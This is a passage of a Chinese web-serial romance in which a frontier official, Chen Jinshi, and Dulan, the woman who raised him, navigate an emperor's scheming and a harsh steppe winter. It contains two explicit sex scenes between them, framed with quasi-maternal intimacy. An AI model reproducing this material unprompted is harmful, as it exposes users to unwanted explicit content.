侍卫哪还敢多待,慌忙带着人策马逃走。 看着他们狼狈的背影,赵德胜骂了句:“早该这么治他们!” 陈锦时收剑入鞘,指腹还残留着剑柄的凉意。他转头看向都兰:“刚才没吓到你吧?” 都兰摇摇头,伸手帮他理了理被风吹乱的衣领:“是他们先口无遮拦,你没做错。”她顿了顿,冷声道,“听他那样说话,我也恨不得砍了他的头。” 都兰想起多年前一家人险些被砍头的经历,她深深地意识到,无论是哪一方朝廷,谁也没把他们的命当命也就是了。 陈锦时攥紧她的手:“那人胡乱传令,我跟你保证,皇上绝无此意。” 都兰知道这个。 这些年皇上一直在按照她当初给他提的建议行事,只是这次的“军屯策”下得有些激进。 这恰好表明了皇上信任陈锦时,他既要给陈锦时找麻烦,也在等着陈锦时这份奏折,看他要如何解决这个麻烦。 听他这样说,都兰反倒笑起来:“昨晚还说他坏话,今天就帮他说起好话来了。” 陈锦时义正言辞地纠正:“我不是帮他说话,是不想你担心。他绝不会真的当人命如草芥,否则我也不会给他做事。” 都兰垫脚帮他拂去肩上的沙粒:“我不担心,回去写奏折吧。” 这天苏赫从家里的草场赶过来,第一次进了并州的衙门。 苏赫拎着个布袋子,被人请进来,带了羊肉干和奶豆腐过来,手上还牵着其其格。 陈锦时一出来,刚弯下腰:“岳父大人……” 其其格就挣开了苏赫的手,小短腿“噔噔噔”朝陈锦时跑过去:“姑父,姑父呢?” 小姑娘抱着他的腿,仰着小脸眨眨眼。 陈锦时被问得一乐,伸手把她抱起来,掂了掂:“你只有我一个姑父,你问谁呢?” 都兰从里屋出来,伸手接苏赫带给她的吃食。 “阿爸,你怎么知道我想吃肉干了?” 苏赫瞥了她一眼,把布袋子往案上一放,语气没什么起伏:“图雅前儿晒的,念叨你爱吃,非让我送些来。” 他目光扫过屋内,最后落在陈锦时背上的其其格身上:“这丫头来找谢将军,昨晚兴奋得半宿没睡。” 都兰走过来,伸手捏了捏其其格的脸蛋:“谢将军现在不在,我替你找他去。” 说着,她转向苏赫,“阿爸,草场那边最近没出什么事吧?京里来的督办前些天差点打算强闯草场。” 苏赫脸色沉了沉,在椅子上坐下,喝了口差:“没什么事,但有几个牧民说,夜里看到他们的人在牧场边界转悠。”他看向陈锦时,“女婿,你到底有没有能耐?在你们朝廷,那人官儿大还是你官儿大。” 陈锦时把其其格放下来:“督办是皇上亲派过来的,手上有皇上的令牌,在此事上多了‘奉旨行事’的由头,还真把我压制住了。” 苏赫哼了一声,都兰端着刚煮好的奶茶走过来,给两人各倒了一碗,说起“奉旨行事”,她心里却想起来一个东西。 门外通传,谢清樾来了。 其其格蹦得老高,张开手臂往外跑去:“姑父!” 谢清樾将她抱起来,在手臂上掂了掂:“其其格,你好敦实!” 其其格扬着下巴道:“那可不!阿妈说,小孩子得多吃肉才能长得敦实,其其格每天都吃。” 陈锦时的奏折费了些功夫才辗转进宫,呈到御前。 薄薄一张册子,在御案上放着,玄澈坐在一旁,只淡淡瞥过一眼,并没有拿起来看。 内侍问道:“皇上不是一直在等陈大人的消息吗?怎么不先看看?” 玄澈拿着一本闲书在看,倚在龙椅上,冷哼了一声:“不用看,朕也知道他写了什么。朕不是在等他的消息,朕是在等他在他老丈人跟前出丑的消息,等他护不住他一家老小的消息。” “皇上说笑了,”内侍给皇上添了茶,“陈大人要是连这点事都处理不好,也枉费您的栽培和看重。” 玄澈合上书,沉默片刻,终于伸手拿起那份奏折,翻开只扫了几行:“就这?” 他没有耐心看陈锦时详细写的沙地的土层、水源,甚至改良所需时间和人手。 “朕没有那么多耐心等他。” 内侍问道:“那皇上打算如何回复?是准了他的奏请,还是……” “朕要把他逼急!让他惹恼他的老丈人!让他不得不在两方之间站队!” 玄澈把奏折扔回御案,端起茶杯抿了一口, “给督办下旨,不必等了,立刻带兵去牧场勘察,把姿态做得激进一些,但是切记,只做震慑,万不可伤及牧民以及牧民财物!” 十日后,并州衙门里,气氛有些紧张。 谢清樾刚从边防回来,带来了个坏消息:“督办等不住了,不知从哪儿调了一队兵士,就扎在南边草场外。” 苏赫一听就急了,拍桌而起:“别以为我们牧民没武器!我这就回去通知大家伙儿,跟他们拼了!” 陈锦时连忙伸手拦住他:“岳父大人!千万别冲动,要是硬拼,你们肯定不是他们的对手。” 苏赫脾气急,打开他的手,指着他鼻子道:“你究竟是哪方的人我不知道,但我不信任你!” 都兰起先没吭声,见两人这副模样,赶紧上前拉住苏赫的胳膊,声音软下来:“阿爸,我跟你回去。” “陈锦时,做你该做的事情,别抗旨。”她对他如此说道。 陈锦时被留在原地,一脸无助。 与此同时,另有一道旨意从京城发出。 “等督办与楼烦牧民两相争斗到了高峰,别等陈锦时拿主意,朕命谢清樾到时候派兵镇压督办一方,明面上是谢清樾救了他们南边的牧场。那边的人一向信任谢清樾,这一下,谢清樾往后帮朝廷进贡楼烦良马,再劝他们归顺于朝廷,就要容易得多了。” 陈锦时成了那边的女婿,就不好用了。令玄澈感到意外的是,一直被他忽视的谢清樾,竟在楼烦极得人心。既然如此,收服边境的事情,何不交给谢清樾来办呢。 “皇上英明。可万一要是谢将军也向着那边,不按照皇上您的旨意行事呢?” “谢清樾不是陈锦时,没那么疯,也没那么蠢。再说臣服于朕,对楼烦人又没有坏处,谢清樾有什么不能做的?何况他家里老小都在京城,他早晚得回来的。” 内侍连称“皇上英明”,又问:“陈大人的事情往后要叫谢将军接着办,那陈大人做什么呢?” “召他回京。” — 一日,玄澈坐在御花园里喝茶听戏,日子好一个悠闲惬意。 自他上位,朝堂已经稳固下来,接下来只要再解决一下边疆大事,他这个皇位便坐稳了,再没有老臣敢挑他的刺。 计划都已筹备周全,旨意也都降了下去,只待谢清樾顺利收服楼烦,回朝复命。 内侍捧着边疆寄来的公文匆匆走来,玄澈的摇椅一停,瞥了对方一眼:“如何?谢清樾是否已经‘救了’他们,从此被楼烦众人感恩戴德?” “皇上,出岔子了,别说谢将军出兵镇压了,督办跟那些牧民,就连闹也没闹起来呢。” 玄澈瞬间从椅背上坐直:“苏秉直竟敢违背朕的旨意,连个督办他也当不好吗?” 内侍从北境来的信里取出一块玉佩:“皇上,您看这个,见您的玉佩,如见本人,您说您怎么能把这个随便送人呢?苏大人他见了这个,不好再行事了呀。” 玄澈起先没认出来,后来看着看着,认出来了,面容像凝固住了一般,随后慢慢绽开一抹笑。 “朕既给出去了,自然是随她行事。只是,时隔多年,她敢动用这个东西,定是知道有代价的。” 第68章 苏赫也没想到,南边牧场的事情,最后是都兰给解决的。 那日都兰突然从家里陈旧的木箱里翻出来一块玉佩,谁也不知道这块玉佩能有那么大的能耐,拿出来给督办一看,那人再也不敢做什么。 见对方退兵,不再纠缠牧场,都兰狠狠松了一口气。 她知道自己不该时隔多年突然动用太子给她的东西,这意味着太多了。 意味着,她仰仗了他的好意;意味着,她千里迢迢传达至皇宫一个消息,她知道他不会怪她用这个解了自己的危机;意味着,时隔千里的两个人,再次由她主动建立了联系。 若不是苏赫性子太急,真要率领着乡亲们跟督办打起来,都兰不会用这个。 不管怎么说,牧场的生活平静下来,苏赫一家开始筹备过冬的事情。 霜降过后,牧场的风就带了硬茬子。 清晨起来,毡房顶上都结着一层薄霜。 苏赫天不亮就起来了,套上厚实的羊皮袄,扛着木耙去草场收最后一批干草,切成小段收进草垛,冬天喂牛羊全靠它。 都兰跟着起来时,灶房里的铜壶已经烧得冒热气。 她把前几天挤的鲜奶倒进大木盆,加了点凝乳块。坐在小板凳上慢慢搅拌。 图雅抱着其其格进来,手里拎着一筐从地窖里翻出来的土豆:“今天吃土豆吧,都兰,待会儿来帮我削皮。” 其其格被放下来,她穿着小羊皮靴,围着灶台转圈圈:“姑姑,姑父什么时候来呀?” “你问的哪个姑父?” “大姑父。” 都兰笑着把她的手挪开:“应该快了,阿爸还等着他来了把羊圈好好修一修。” “哦,那小姑夫什么时候来?” 说话间,苏赫扛着一捆干草回来,额头上冒着汗。他把干草扔在院角,接过图雅递来的奶茶喝了一口:“西边草垛够了,下午去把地窖再挖深点,把肉干和土豆都挪进去,不然冬天冻坏了。” 都兰对其其格道:“小姑父往后没事不会来了。” 陈锦时午后赶过来,在进入冬天之前,都兰家里又很多事情需要筹备,他不得不过来帮忙。 “陈锦时,等入冬了,第一场雪下下来以后,你就不要这样来回了,大雪封了山,两日的路程,你在路上万一出了什么差池,不是开玩笑的。” 陈锦时跟苏赫一起加固毡房的门框,用羊毛绳把毡布勒得更紧,晚上睡觉才不进风。 “那我不走了吧,就留在这里,跟你们一起过冬。” 都兰瞪他一眼:“那怎么行?万一衙门有什么事,连你人都找不着。” 入冬的时候,苏赫身上老毛病犯了,干不了重活,偏生这时候图雅又有了身孕,都兰实在走不开,家里缺不了她这一个劳动力,她不可能放下家人,陪陈锦时到并州去。 楼烦的冬天,是需要一家人紧紧陪伴在一起度过的。 陈锦时便道:“无论如何,每半个月,我定会来见你一次。” 都兰没吭声,她知道陈锦时的性子,谁也拗不动的性子。 不知他有几分本事,能在深冬时穿越两座大雪山来见她。 苏赫斥责道:“女婿!你开什么玩笑!到时候你要是死在半路了,没人救得了你。” 陈锦时只是笑:“岳父放心,我身体健壮着呢。” 苏赫还想骂,却被图雅拉了拉袖子。她对着苏赫摇了摇头,这新婚时期的小两口,为了见面连命也可以不要,哪里能分得开,劝是劝不动的。 陈锦时帮着苏赫把家里要过冬的草、粮、肉干都屯好了,毡房、羊圈,都是重新加固过的,一家人都已经做好了过冬的准备。 第一场雪落下来之前,他便独自回衙门去了。 雪下得不大,没能完全覆盖山路,却给草原上铺上了薄薄一层冰层,空气冷得浸骨。 都兰换上了厚厚的羊皮袄,把其其格抱在膝上教她汉字。 其其格握着小木炭棍,在地上歪歪扭扭写字。 都兰问她:“想先学个什么字?” “先学其其格的名字。” 小姑娘学得认真,很快学会了。 都兰问她第二个想学谁的名字,其其格看了她一眼,眨着眼睛卖乖:“学姑姑的名字。” 都兰摸了摸她的头,脸上扬起温柔的笑,这孩子真可心。 第一场雪下透后,草原就成了冻硬的白壳子。 风刮在脸上像小刀子,一家人都用上了陈锦时事先备好的,从京城里买来的擦脸油。 其其格的脸也被抹得油亮亮的,除了这些,谢清樾也派人从军营了送来了许多东西,还给其其格带了一件虎皮小袄。 苏赫早上出门,得先拿铁锨铲开门口的积雪,开门的时候,雪块灌进来,幸好先在门后隔了一道帘子,好让风雪透不进来。 入冬没过多久,雪就没到膝盖了,一脚踏下去,雪粒子顺着裤脚往靴筒里灌。 都兰比苏赫起得更早,灶房里的铜壶早烧得“咕嘟”响了。家人一起来便能喝上热热的奶茶。 家里如今物资比从前筹备得好得多,全得多,便是无论如何也冻不死、饿不死的。 苏赫从羊圈里回来时,棉裤腿全湿了,冻得邦邦硬。 他坐在火塘边,把裤腿凑到火苗旁烤着。 都兰劝他:“往后要外出的事情交给阿兄来做,你膝盖上本就有伤病,现在知道痛了吧。” “嘿嘿,不痛,就出去了一会儿。” 苏赫嘴上硬,都兰都看在眼里,转身从毡房角落里翻出个布包。 她蹲下身,把药膏涂上去。 陈锦时来的那天,雪下得正紧,他骑着马,从雪雾里钻出来,活像个雪人。大衣领子里、眉毛上全是雪。 都兰听见马蹄声,掀着毡帘望出去。真不知他是怎么过来的。 “陈锦时!” 她站在门口,要跑出去迎他,嗓子喊得十分费劲。 “你怎么这个时候来了?这两天雪下得正大。” 陈锦时勒住缰绳,雪沫子顺着衣角簌簌往下掉。 他咧嘴一笑,下了马,从马背上解下一个沉甸甸的布囊:“我不来,你们就打算整日吃干粮?” 说着,他掏出一包点心来,塞到她手里。 “快进毡房里,火塘一直烧着的。” 她牵过他的手,能摸到他冻得发僵的指节。 一进到毡房里,他浑身瞬间暖和起来。其其格穿着虎皮小袄扑过来,仰着小脸:“大姑父,你可算来了,给其其格带了糖吃吗?” 陈锦时的包袱里有给其其格的糖,都兰掏出来给他。 只是陈锦时没太听懂:“什么大姑父?” 苏赫解释道:“你是大姑父,谢将军是小姑父,你也别闹,其其格可是把你排在前面的。” 陈锦时正要闹,都兰端着奶茶过来:“先喝点,暖暖身子。” 陈锦时忘了自己要说什么,接过奶茶一饮而尽,暖意顺着喉咙往下淌。 天刚擦黑,苏赫往炕下的火道里添了最后一把干牛粪,火星子噼啪跳了两下,很快就把炕面烘得暖融融的。 “这下睡觉可暖和了,女婿,你试试。” 都兰把早前晒得松软的羊毛褥子铺展开,又叠了两床厚毡子放在炕沿边。 其其格早早就脱了鞋,小脚丫踩在炕上。 图雅在另一头喊她:“快过来,别打扰你姑姑姑父睡觉了。” 图雅和牧仁他们在炕的另一头,苏赫和沈清沅睡在中间。 其其格笑着扑到陈锦时脚边:“大姑父,我要跟你睡!” 陈锦时正要把她抱起来,图雅过来拎着她后脖子,捂着她的嘴走了。 万籁俱静,毡房里的火塘还剩最后一点橘红火星,都兰借着微光帮陈锦时解开腰带,目光轻轻转动,柔软得能裹住人,将他的眉目刻进眼里。 “下次别这么冒雪来了,你看你,脸皮子都不嫩乎了。”都兰的声音压得低。 陈锦时攥住她的手往自己掌心裹:“我答应你的,半月定要来一次。” 毡房外的风雪早歇了,只剩火塘余烬偶尔发出细碎的噼啪声,混着家人匀净的呼吸。 都兰刚往炕里挪了挪,就被陈锦时从身后轻轻揽住,他掌心贴着她腰腹,带着刚刚暖透的温度,怕惊动了那头的苏赫。都兰往后反手一掏,耳后便传来一声轻喘。 “阿姆想不想我?”他的声音压得极低,唇瓣擦过耳尖,热气痒得她蜷了蜷身子,“皇上想召我回京,你说他又想搞什么鬼。” 都兰没回头,指腹狠狠碾过,他闷哼一声,连声道:“你说我能抗旨吗?我不想回去。” 陈锦时的手臂紧了紧,把她往自己怀里带得更拢些,好似不在意她的手在做什么。 她轻声问道:“什么时候?” “最晚拖到明年春天吧。”他的呼吸喷在她后颈上,卑微着,颤声问出口,“你跟我走吗?” 他对此实在没有把握。 她若是愿意回去,事情怎么会发展到如今。 陈锦时的手臂忽然收得极紧,把她整个人圈在怀里。 都兰沉默着,是啊,她若是又回去,当初纠结的那些又算什么? “你已是我的妻子,阿姆,已经没有人可以反对了。” 都兰在想,回去要经历些什么? 她其实不怕被人唾骂,不怕被人戳着脊梁骨。 但是当初是将军将她带到金陵,教她识字、礼仪、汉人的那一套。 维护好陈家的名声、在外的体面,是她的责任。 她现在要亲手打破这一切,叫人知道她所维持的“体面”,就是和自己亲手养大的孩子睡在一张炕上。这违背她到陈家的初衷,也违背将军对她的期盼。 陈锦时忽然攥住她的手腕,在她耳边轻喘:“够了,阿姆。” 他撩过被子,翻身而起,喘着粗气吻上她的唇。 都兰的呼吸猛地顿住,她忽然想躲,后背却抵着温热的羊毛褥子,退无可退,只能任由他的吻慢慢往下,落在她的颈窝。 毡房里静极了,只有两人交缠的呼吸声,偶尔混着苏赫在另一头翻身的动静。 惊得陈锦时瞬间顿住,额头抵着她的肩,轻轻的、哑声的、无奈的笑。 陈锦时见她不吭声,又轻轻吻了吻她的唇角,动作放得极慢。 沈樱双手攀上他的肩:“回去以后,我得去看看你父亲。” 陈锦时牵住她的手:“是该去,我跟你一起去。” 他伏在她的身体上方,鼻息间全是彼此的气味,让她紧绷的神经渐渐松弛。两人也不是头一回这样收敛着,极致深入地抵入,却全然不能肆意。都兰习惯性地咬住下唇,伏在他胸口。 苏赫又翻了个身,炕上传来窸窸窣窣的声响,陈锦时再次顿住。 都兰嫌他怕这怕那的,索性把他推下去,压在身下。 小时候她听见牧仁和图雅把一家人的炕晃得嘎吱乱响,也不过是盖过脑袋睡过去。 陈锦时仰视着她,她两只手撑在他腿上,腰肢柔软而灵活。 他的瞳孔开始涣散起来,她真是神女。 后来,听到苏赫不耐地“啧”了一声,不知醒没醒,但掩过被子继续睡了过去。 都兰的发丝垂落在他脸颊,一下一下地扫过。 他抬手想扶她的腰,就被她轻轻按住手背。 她俯身,唇瓣离他的眉眼不过寸许,呼吸拂过他的鼻尖,痒得他喉结轻轻滚动。 房顶的积雪偶尔滑落,“簌簌”声混着苏赫的呓语。 借着月光银辉,他看见她睫毛轻轻颤动,红唇微微张起,溢出喘哼。 他轻轻喟叹,心甘情愿被她掌控所有。 但有时候,她意识到他已经完全长大,也到了她不能掌控的地步。 她伏在他的胸膛上感受余韵。 他没再做别的动作,只是轻轻蹭了蹭她的头顶。 风雪欲来,他用被子把她裹得严严实实,她呼吸渐渐平稳。 清晨,苏赫推开房门的声响吵醒了他们 ,雪粒从房顶簌簌落下。 都兰披了件羊皮袄坐起来,揉了揉眼睛,看见牧仁和图雅正坐在火塘边添干牛粪。 “醒了?”苏赫头也没抬。 都兰有些感到尴尬,但目光扫过一家人,全都面无异色,好似什么也没听见。 昨晚她是有些冲动了,早上想起来,有些害臊。 都兰“嗯”了一声,起身走到灶房门口。 她看见陈锦时正弯腰钉栅栏,身上还穿着昨天那件深色大衣。他手里的锤子一下下敲在木钉上,动作稳而有力。 “怎么不多穿点?”都兰走过去,把手里的厚围巾递给他。 陈锦时回头笑了笑,接过围巾随意往脖子上一绕,继续手里的活:“不冷,”他指了指羊圈里,“我给它们找了块旧毡布盖上。” 都兰顺着他指的方向看过去,果然见羊圈上多了块灰褐色的毡布,被绳子勒得紧紧的,挡住了寒风。 这时,毡房里忽然传来其其格的哭闹声,夹杂着图雅的哄劝。 其其格许久没有哭闹过了,都兰一愣,不知又是什么把她惹恼了。 都兰连忙往毡房走,刚掀开门帘就听见其其格带着哭腔喊:“小姑父真的永远也不会来其其格家了吗?” “怎么了这是?”都兰走过去把她抱起来,用袖口擦了擦她脸上的泪,“谁欺负咱们其其格了?” 其其格趴在她肩头:“阿妈说……小姑父往后没事不会来了……” 都兰心里一软,谢清樾从前一段时间常常来她家,要么帮着干活,要么帮着带娃,其其格对他割舍不了情感是正常的。 大人知道,像这样的关系,他们之间不该再有事无事的来往了。 可小孩子心里只想着,从前待她很好、陪她玩耍的人说不来就不来了,称呼惯了的姑父也不能再称呼了,没这个道理。 都兰叹了声气,抱着其其格坐到炕边,轻声哄:“没谁说小姑父再也不来了,小姑父是去军营做事啦,等开春了,草绿了,他说不定就来看其其格了,到时候还能带你骑马,好不好?” 其其格眨了眨满是泪花的眼睛,看着倚在门边的陈锦时:“是不是因为大姑父来了,小姑父就不来了?” 陈锦时目光静静落在都兰身上,神情显得有些落寞。 他往前走了两步,蹲在其其格面前,声音放得格外软:“不是的,大姑父和小姑父是好朋友,大姑父答应你,等春天来了,他就会来看其其格。” 图雅在旁边叹了口气:“好了,不哭了,一会儿吃完早饭,让大姑父陪你堆雪人,好不好?” 其其格这才点头,从都兰怀里滑下来。 — 陈锦时身着藏青色官府,案头堆着一摞摞卷宗,正俯身站在案前。 “陈大人,这是昨日各驿站送来的雪况呈报。”书吏轻步上前,“谢将军派人来问,粮草运输可会受到影响?军营里要得急。” 陈锦时抬手接过,目光快速扫过纸上的字迹:“传我命令,让沿线驿卒备好除雪工具,再调二十匹壮马支援,务必保证粮草三日内运到军营。” 他说话时语气沉稳,笔锋一转,在卷宗上批下“加急办理”四个字。 三日后,谢清樾特地赶过来谢他一回。 谢清樾从黑马上翻身下来,外面飘着细雪,他肩上落了层薄薄的雪,他抬手掸了掸,玄色披风扫过地面。 陈锦时特地从衙门里迎出来,谢清樾朝他拱手:“多谢,此番粮草能及时送到,多亏你调配得力。” 陈锦时避开他的礼,伸手引他往里走:“谢将军客气,分内之事。” 两人走进衙内偏厅,书吏早已备好热茶,水汽氤氲着飘起,驱散了几分寒意。 两个聊了些边境防务和粮草储备的事,窗外的雪渐渐大了。 “都兰家里怎么样了?往常过冬都是我照看过来的,听说图雅又有身孕了,今年只怕不好过。” 陈锦时握着茶杯的手紧了紧:“谢将军,都兰家今年有我照管,自然也不会不好过。” — 这日,苏赫撩开毡帘,蹙眉看了一会儿外面的风雪。 算算日子,陈锦时又该来了。 “都兰,这样的天,你说他还会来吗?他不该来了。” 苏赫只不过是撩开帘子看了一会儿,就被刺骨的寒意逼得缩了回来,那风里带着冰碴子,往骨头缝里钻,不过片刻,脸上都覆了一层雪沫。 寒风已经快要将毡房拔地而起。 “这风刮得太硬了,看来已经到了每年冬天最难过的关卡了。” 苏赫连忙进了屋子,这几天,谁都不能出门去了,好在羊圈上盖了厚厚的帘子。 都兰也摸不准陈锦时,他是执拗的性子,但也不是不要命的傻子。 他应当不会来了。 图雅一直卧床休息,家里人轮流照顾她。 其其格坐在炕上,还问:“姑姑,大姑父什么时候来陪我堆雪人?” 都兰捏了捏她被火塘烤的红彤彤的小脸蛋,柔声道:“外面很冷,其其格不能出去堆雪人。” 又过了两日,都兰朝外望去,算算日子,陈锦时今日若是还没到,便是真的没有启程。 她松了口气,他还算聪明,知道自己不该来。 陈锦时骑着马刚过山口,原本还能辨清的路就被突然卷来的白毛风吞了个干净。 风裹着雪粒像无数把小刀子,往衣领、袖口钻,他刚拉紧缰绳想找个避风处,马就突然惊了。前蹄陷进了被雪盖住的冰窟窿,嘶鸣着不肯往前。 他咬着牙跳下马,雪瞬间没过膝盖,冰冷的雪渣顺着裤腿往靴子里灌。 他想把马拽出来,可风太大,刚一弯腰,风雪就往嘴里灌,呛得他直咳嗽。 更糟的是,风一刮,天地间全是白茫茫一片,连太阳的方向都辨不清了。 他只能牵着马,凭着模糊的记忆往都兰家的方向走。 苏赫家开始吃晚餐,铜锅里的奶茶飘着乳白热气,裹着焦香,其其格流着口水,一边望着碗,一边望着锅。 苏赫下午烤了羊肉,图雅坐在炕沿,手里剥着煮软的土豆,时不时往其其格碗里递一块,笑着说:“慢点吃,没人跟你抢。” 都兰有些心不在焉。 桌上的盘子渐渐摆满,油亮亮的烤羊肉、焦香粉糯的烤土豆,还有一碟腌得脆爽的酸白菜。 “大姑父是不是今天来呀?”其其格声音脆生生的。 图雅哄她:“这两天雪太大了,大姑父不来了。” 都兰微微怔住,所有人都确定,陈锦时没有来。但他从没有说过他不会来。 她忽然站起身:“阿爸,我得出去看看。” 苏赫蹙眉拦住她:“开什么玩笑?天已经黑了。” “我总觉得,他不会不来的,他现在都没到,定是出事了。”都兰越想越忧心忡忡。 她没听苏赫劝阻,抓起炕边的厚羊皮袄裹紧,从灶房里抄起一把锋利的短刀别再腰后,再把羊皮囊灌满热奶茶,摸出火镰和火石塞进袖带,又往兜里塞了两把干牛粪。 “我就顺着常走的路找一圈,不去远地方。” 苏赫把谢将军之前留下的燃烟塞给她:“遇到危险放红色这个,我出去找你,要是安全就放蓝色这个。” 第69章 都兰收好燃烟,裹好面罩掀帘便穿进风雪里。 雪粒子打在脸上生疼,但她将自己包裹得很好,她眯着眼,顺着陈锦时往常来的路走。 她对这样的环境很熟悉,她可以在雪天里将自己照顾得很好,她从小便是在这样的环境里长大的。 走了没多久,她掏出火镰火石,咔嚓几声打出火星,先点燃了一小簇,借着光亮继续往前。 只要沿着熟悉的道路走,找到人不难。如果他来了的话。 雪地里,陈锦时正和马一起蹲在一处背风坡下,在深夜的雪地里,他并不是全无生存能 力。 他可以在此处窝上一晚上,天亮了再往都兰家走,他预估着,应该离得不远了,现在就算他还能走,马也不能走了,他不敢贸然前行,天黑了,他不知道此处离都兰家还要走多久。 不知走了多久,都兰听见远处传来一阵微弱的马嘶声,心里一紧,连忙朝着声音地方向走。 “陈锦时!”都兰喊着冲过去,穿得多的缘故,身形显得有些笨重。 他猛地抬头,看见那团熟悉的身影正举着火把往这边来,心里说不清是什么滋味。大抵是,想投进她怀抱里,抱着她哭一场,向她诉说自己这一程的苦楚,好得到她的安慰和怜惜。 他坐起身:“都兰!你怎么出来了?”张口却是责问。 都兰走进了才看清,他的睫毛上已经结了一层霜,嘴唇裂了道小口子,她带着厚重的身躯扑过去。 “我就知道你会来,我见你迟迟不到,不得不出来找你。” 他扑腾着站起身接她,她扑倒在他怀里,心底一阵后怕。 她若是不来,他当真打算在这地方待上一晚不成? 一想到这儿,她倒在他胸膛上,锤了他两下,又费力地爬起。 陈锦时托起她:“我很好,我只是没想到,你会出来寻我,万一我不在,你岂不是要……你可真是胡闹!” 她掏出兜里的干牛粪,转过身在背风坡下挖了个浅坑点燃,又把装着热奶茶的囊袋递给他,“先喝点热的,暖暖身子。” 她摸出蓝色燃烟点燃,好让苏赫知道“找到人了,安全”。 他的大氅上都积了雪,都兰伸手替他拍去,她若是没来,他若是一个人在这里过夜,明早起来,只怕全身都要被雪覆盖,按照现在的雪量估算,他躺着不动,明早身上能积上半人高的雪。 陈锦时握住她的手:“我倒庆幸我来了,要不然,你这一晚上要找我到什么时候?” 都兰剜了他一眼:“你还说!要不是知道你就是这般性子,我何苦出来找你。” 他攥住她手腕,一把将她拽到怀里,两人倒在雪地里,一点也不觉得冷。 他笑着道:“所以这不是刚刚好么?都兰。” “我们两个但凡错开一点,便碰不上彼此了。” “我们能在一起,本身就是个奇迹。” 他这么说着,都兰再也责怪不了他。 她希望他没来,可他若是真的没来,她今晚却一定会出来找他。 “怎么样?现在能走了吗?” 陈锦时指了指马腿:“马腿有点冻僵了,怕再陷进冰窟窿,本来想着等天亮了再走,它也能歇歇。” 他说着,想站起来,却因为蹲了太久,脚麻得差点栽倒,都兰赶紧扶住他,脚没站稳,又跟他抱着摔了下去。 一时间,两人在厚厚的雪堆里翻了两个圈,谁也没能爬起来,厚重的毡靴在雪地上蹬了两下,两人忽然笑出来。 他一把抱住她,她挣扎了两下,瞪他:“做什么!” 陈锦时抱着她一动不动,望着天感慨:“你知道我想这一天想了多久了吗?阿姆。” 都兰一愣:“想什么?” 他深吸了一口气,空气很凉,这样猛吸一口,人并不舒服,鼻尖都红起来了,鼻腔里一阵刺疼。 他埋进她穿了厚厚皮袍的胸前,他想尽可能的体会,她的怀抱有多温暖,她能给他什么样的庇护和安全。 他是如此贪恋她,他想成为一个,不依赖她、仰仗她便不能活的人。 沈樱抽开他,拿出马身上带的狐皮毯子,铺在雪地上。 “我带的干牛粪够烧一阵,先把马腿暖一暖吧,咱们不能把它扔下。”她把火堆往马身边挪了挪。 陈锦时抱着她,将她裹进毯子里。 风雪仍然呼啸着,彼此身上的热气相互传递着。 他指尖轻轻拨开她额前碎发,抚着她微凉的脸颊:“阿姆,今天是我不好。” 都兰没说话,他的手掌很暖和,紧紧握着她,指腹反复摩挲着她的掌心。 陈锦时微微低头,吻落在她眉心。 都兰解开面罩,露出半张脸:“不怪你,就像你刚刚说的,你若不来,我今晚不知要如何。” 他的吻顺着她眉心往下,掠过她的鼻尖,最终落在她有些干裂的唇上。 他的嘴唇也出现了干裂,两人的唇瓣摩挲着,混着呼吸,温热舌尖舔过时有些发疼,尝得出腥甜的滋味。 他喘着粗气,忽然将她拥紧了。 都兰感受到那处,黑夜里,风雪里,互相呼出的热气,就像是灵魂也交织在一起。 “陈锦时,不可以。” “阿姆,我想这一天很久了。”陈锦时的声音混着呼吸,落在她的唇瓣上。 都兰的心忽然一软,被他放在毯子上,被他完全圈在怀里。 火堆噼啪响着,马在一旁低低地嘶了一声,它好像也舒服一些了。 彼此体温交融着,滚烫着拥抱在一起,皮肤紧贴的一瞬,陈锦时低喘了一声,他难以形容那样的触感。 这一刻,他好像变成了她真正的孩子,从她腹中托生出来的孩子,他是如此迷恋此处禁地,循回往复、辗转碾磨。 外界风雪呼啸,雪落在头顶冰凉,毯子里却如火炉滚烫。 火堆的光、马的低嘶、风雪的呼啸,构成了他们的全部天地。 雪粒子落在他们身上的瞬间,便会被这热度烘得瞬间融化。 他低头吻去她脸颊上的细汗,动作放缓了些,都兰睁开眼,忽然伸手搂住他的脖子,主动凑近亲吻他。 他需要她给他很多很多爱,很多很多亲吻。 “冷不冷?” 她轻轻摇头。 他想,他本该成为蜷缩在她怀里的那个,那是他无比渴望的一幕。 但他的身影,最终还是盖过了她。 他会全然将她笼罩住,压倒性地盖住她。 都兰仰躺着,迷蒙的眼,又一次意识到他已完全长大。 他令她得到了满足,但少数时候他比较叛逆,他想吊着她一些,比如悬吊出去一半那样,等着她恳求他。 她知道,他也有一些想掌控她,他想让她祈求他一些什么。 都兰愿意满足他的想法,便张口,祈求他: “我很喜欢你,你要对我好一点,好吗?” “阿姆最喜欢陈锦时的哪里?” “最喜欢……”她轻轻抬了抬下巴,指尖顺着他的胸膛往下,划过他的皮肤,“喜欢你的手。” 陈锦时俯身咬住她的唇瓣,“还有呢?”他的声音哑得厉害。 都兰抬手圈住他的脖子,将唇压上他的胸膛:“喜欢这里。” 陈锦时低低地闷哼出声,吻落在她的耳尖:“阿姆,叫出来好吗?陈锦时喜欢听。” 都兰想要得到想要的,也要好好哄他才行。 他“嗬嗬”地呼吸着,在她肩头,手掐在她腰上,有些力不从心,头忽然垂下,栽在她胸前。 “陈锦时,你怎么了?” 都兰扶起他的肩,看到他骤然变得苍白的唇。 “陈锦时!” 他扯起嘴角,僵硬地笑着:“阿姆,我,我好像犯病了。”他捏着她腰,嘴唇和脸颊变得苍白,手臂变得无力,上半身全然倒伏在她身上。 都兰从怀里掏出药瓶,这么多年了,她的这个习惯还是没有改过来。 她在他身下,一边倒出药丸,手被他忽地捏住。 他俯身吻她,从她口中艰难地获取气息。 她不能供给给他太多,但她的气息实在香甜,就算他只能吸进极少的几丝,也已足够。 他像是不要命一般,极尽用力地喘息着,她耳边的呼吸逐渐变得刺耳,他太用力了。 真像是奔着死而去的。这又不是最后的机会。 都兰往他口中塞了一粒药,逼着他吞下去。 “陈锦时,别不要命,日子还长。” 马在一旁打了个响鼻,等到风雪渐小,他低头吻了吻她的发顶。 他从她腰间起来,靠近她,浑身还带着进犯的气势,然后俯身把头埋在她颈窝里,像小时候一般依恋。 “阿姆。” 他的呼吸还是不轻 松,像穿过层层阻碍才从外界吸进去,从身体里呼出来。 马在一旁甩了甩尾巴,踏着马蹄走了两步。 陈锦时裹好衣物,低头吻去她眼尾的泪。 “雪停了,咱们往回走吧。” 